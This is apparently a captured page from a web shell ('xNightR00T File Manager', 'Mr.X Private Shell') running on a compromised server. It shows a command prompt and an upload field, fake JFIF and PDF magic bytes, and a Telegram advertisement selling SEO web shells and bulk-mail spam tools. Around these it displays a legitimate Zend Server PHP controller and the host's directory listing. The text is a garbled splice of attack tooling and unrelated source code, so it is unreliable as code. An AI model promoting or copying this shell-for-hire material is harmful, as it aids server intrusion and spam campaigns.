xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Configuration\Controller;

use ZendServer\FS\FS,
    Application\Module,
    ZendServer\Mvc\Controller\WebAPIActionController,
    Servers\View\Helper\ServerStatus,
    Configuration\Forms\MonitorDefaultEmail,
    Audit\Db\Mapper as auditMapper,
    WebAPI\View\WebApiResponseContainer;
use Configuration\PhpVersion;
use Audit\Db\ProgressMapper;

class WebAPI114Controller extends WebAPIActionController
{

    /**
     * Get the server data - all the available data about the server - its status, basic configuration,
     * and useful information
     *
     * @api
     * @method GET
     * @version 1.14
     * @section Configuration and Management
     * @response {
      "serverData": {
      "default-server": "<default-server>",
      "default-port": 80,
      "default-server-url": "<default-server>",
      "current-host": "localhost",
      "original-host": "localhost",
      "supported-by-webserver": true,
      "number-of-servers": 1,
      "is-cluster": false,
      "is-cluster-supported": true,
      "node-id": "0",
      "os-type": 1,
      "web-server-type": "apache",
      "os-name": "Ubuntu",
      "php-os": "Linux",
      "is-network-enabled": true,
      "php-version": "7.1.3",
      "zs-version": "9.1.0",
      "web-api-version": "1.14",
      "server-address": "127.0.0.1",
      "environment-name": "",
      "environment-color": "#FFFFFF",
      "timezone-offset": 10800,
      "hostname": "greg-desktop",
      "client-ip": "127.0.0.1",
      "profile": "Development",
      "unique-id": "6c32b29be10d12e328a4ab9b98dc87db1734a05d",
      "arch": "x86_64",
      "plugins-api-version": "1.0.3",
      "store-url": "https://api-plugins.zend.com/",
      "lib-update-url": "http://updates.zend.com/libraries/",
      "edition": "ENTERPRISE",
      "is-azure": false,
      "is-zray-standalone": false
      }
      }
     *
     * @return WebApiResponseContainer
     */
    public function configurationGetServerDataAction()
    {
        $this->isMethodGet();

        return new WebApiResponseContainer(array(
            'serverData' => $this->ServerData()
        ));
    }

    /**
     * Get monitoring settings values - like monitoring, statistics and URL insight components
     * status (enabled / disabled) and other relavent directives - check the response example. 
     * The API is used in monitoring settings page.
     * 
     * @api
     * @version 1.14
     * @section Monitoring
     * @method GET
     * @response {
      "url_insight": {
      "url_insight_mode": "1",
      "zray_snapshots_mode": "1",
      "zray_snapshots_interval": 1800
      },
      "monitor_settings": {
      "monitoring": "1",
      "statistics": "1",
      "events_aggregation": "none",
      "code_tracing_for_events": 2,
      "delete_events_occur": 30,
      "monitoring_rule_default_email": "",
      "monitoring_rule_default_callback_url": "",
      "enable_route": "0"
      }
      }
     * 
     * @return WebApiResponseContainer 
     */
    public function configurationGetMonitoringSettingsAction()
    {
        /* @var \Configuration\MapperDirectives */
        $directivesMapper = $this->getLocator()->get('Configuration\MapperDirectives');

        $directives = $directivesMapper->getDirectivesValues(array(
            'zend_monitor.event_tracing_mode',
            'zend_monitor_ui.expiration_days',
            'zend.monitor_generate_unique_events',
            'zend.enable_route',
        ));

        // get directives values
        $eventTracingMode     = $directives['zend_monitor.event_tracing_mode'];
        $eventTracingMode     = $eventTracingMode ? \Codetracing\Mapper\Statuses::STATUS_STAND_BY : \Codetracing\Mapper\Statuses::STATUS_DISABLED;
        $expirationDays       = $directives['zend_monitor_ui.expiration_days'];
        $generateUniqueEvents = $directives['zend.monitor_generate_unique_events'];
        $enableRouting        = $directives['zend.enable_route'];

        // check loaded extensions
        /* @var $extensionsMapper \Configuration\MapperExtensions */
        $extensionsMapper  = $this->getLocator('Configuration\MapperExtensions');
        $codetracingLoaded = $extensionsMapper->isExtensionLoaded('Zend Code Tracing');
        $monitoringLoaded  = $extensionsMapper->isExtensionLoaded('Zend Monitor');
        $statisticsLoaded  = $extensionsMapper->isExtensionLoaded('Zend Statistics');


        $defaultEmail        = Module::config('monitor', 'defaultEmail');
        $defaultCustomAction = Module::config('monitor', 'defaultCustomAction');

        $urlInsightDirectivesValues = $directivesMapper->getDirectivesValues(array(
            'zend_url_insight.enable',
            'zend_url_insight.zray_enable',
            'zend_url_insight.zray_dumps_interval',
            'zend_url_insight.aggregate_by_route',
        ));
        $urlInsightSettingsFormData = array(
            'url_insight_mode' => $urlInsightDirectivesValues['zend_url_insight.enable'],
            'zray_snapshots_mode' => $urlInsightDirectivesValues['zend_url_insight.zray_enable'],
            'zray_snapshots_interval' => intval($urlInsightDirectivesValues['zend_url_insight.zray_dumps_interval']),
        );

        $requiredRestartData = $directivesMapper->getDirectivesRequiredRestart(array(
            'zend_url_insight.enable',
            'zend_url_insight.zray_enable',
            'zend_url_insight.zray_dumps_interval',
            'zend_url_insight.aggregate_by_route',
            'zend_monitor.event_tracing_mode',
            'zend_monitor_ui.expiration_days',
            'zend.monitor_generate_unique_events',
            'zend.enable_route'
        ));

        $urlInsightSettingsForm = new \Configuration\Forms\UrlInsightSettings();

        $monitorSettingsForm     = new \Configuration\Forms\MonitorSettings();
        $monitorSettingsFormData = array(
            // monitoring
            'monitoring' => $monitoringLoaded ? '1' : '0', // has to be managed
            // monitoring
            'statistics' => $statisticsLoaded ? '1' : '0', // has to be managed
            // events aggregation
            'events_aggregation' => ($generateUniqueEvents == 0) ? '1' : '0',
            // code tracing
            'code_tracing_for_events' => $eventTracingMode,
            // clean up
            'delete_events_occur' => intval($expirationDays),
            // events default
            'monitoring_rule_default_email' => $defaultEmail,
            'monitoring_rule_default_callback_url' => $defaultCustomAction,
            'enable_route' => $enableRouting,
        );

        return new WebApiResponseContainer(array(
            'url_insight' => $urlInsightSettingsFormData,
            'monitor_settings' => $monitorSettingsFormData,
            'is_required_restart' => $requiredRestartData
        ));
    }

    /**
     * Returns a flag if to show guide page or not
     *
     * @api
     * @method GET
     * @section Administration
     * @version 1.14
     * @response {toShowGuidePage: true}
     *
     * @return WebApiResponseContainer
     * @throws \ZendServer\Exception
     */
    public function getShowGuidePageFlagAction()
    {
        $guidePage = Module::config('package', 'guidePage');
        return new WebApiResponseContainer(array(
            'toShowGuidePage' => ($guidePage == 1)
        ));
    }

    /**
     * Change php version action
     *
     * @api
     * @method POST
     * @section administration
     * @version 1.14
     * @request {phpVersion: "7.2"}
     * @response {status: true}
     *
     * @return WebApiResponseContainer
     * @throws \WebAPI\Exception
     */
    public function changePhpVersionAction()
    {
        $this->isMethodPost();
        $params = $this->getParameters();

        /** @var \Configuration\Controller\Plugin\ChangePhpVersion $phpVersion */
        $taskSequenceId = $this->changePhpVersion($params['phpVersion']);

        return new WebApiResponseContainer(array(
            'status' => (bool)$taskSequenceId,
            'taskSequenceId' => $taskSequenceId,
        ));
    }
}

Filemanager

Name Type Size Permission Actions
Plugin Folder 0755
ExtensionsController.php File 1.57 KB 0644
LicenseController.php File 5.6 KB 0644
ServerInfoController.php File 1.2 KB 0644
SessionClusteringController.php File 3.17 KB 0644
WebAPI114Controller.php File 7.9 KB 0644
WebAPI115Controller.php File 5.24 KB 0644
WebAPI12Controller.php File 2.02 KB 0644
WebAPIController.php File 110.19 KB 0644
ZendComponentsController.php File 1.43 KB 0644
ZendMonitorController.php File 323 B 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1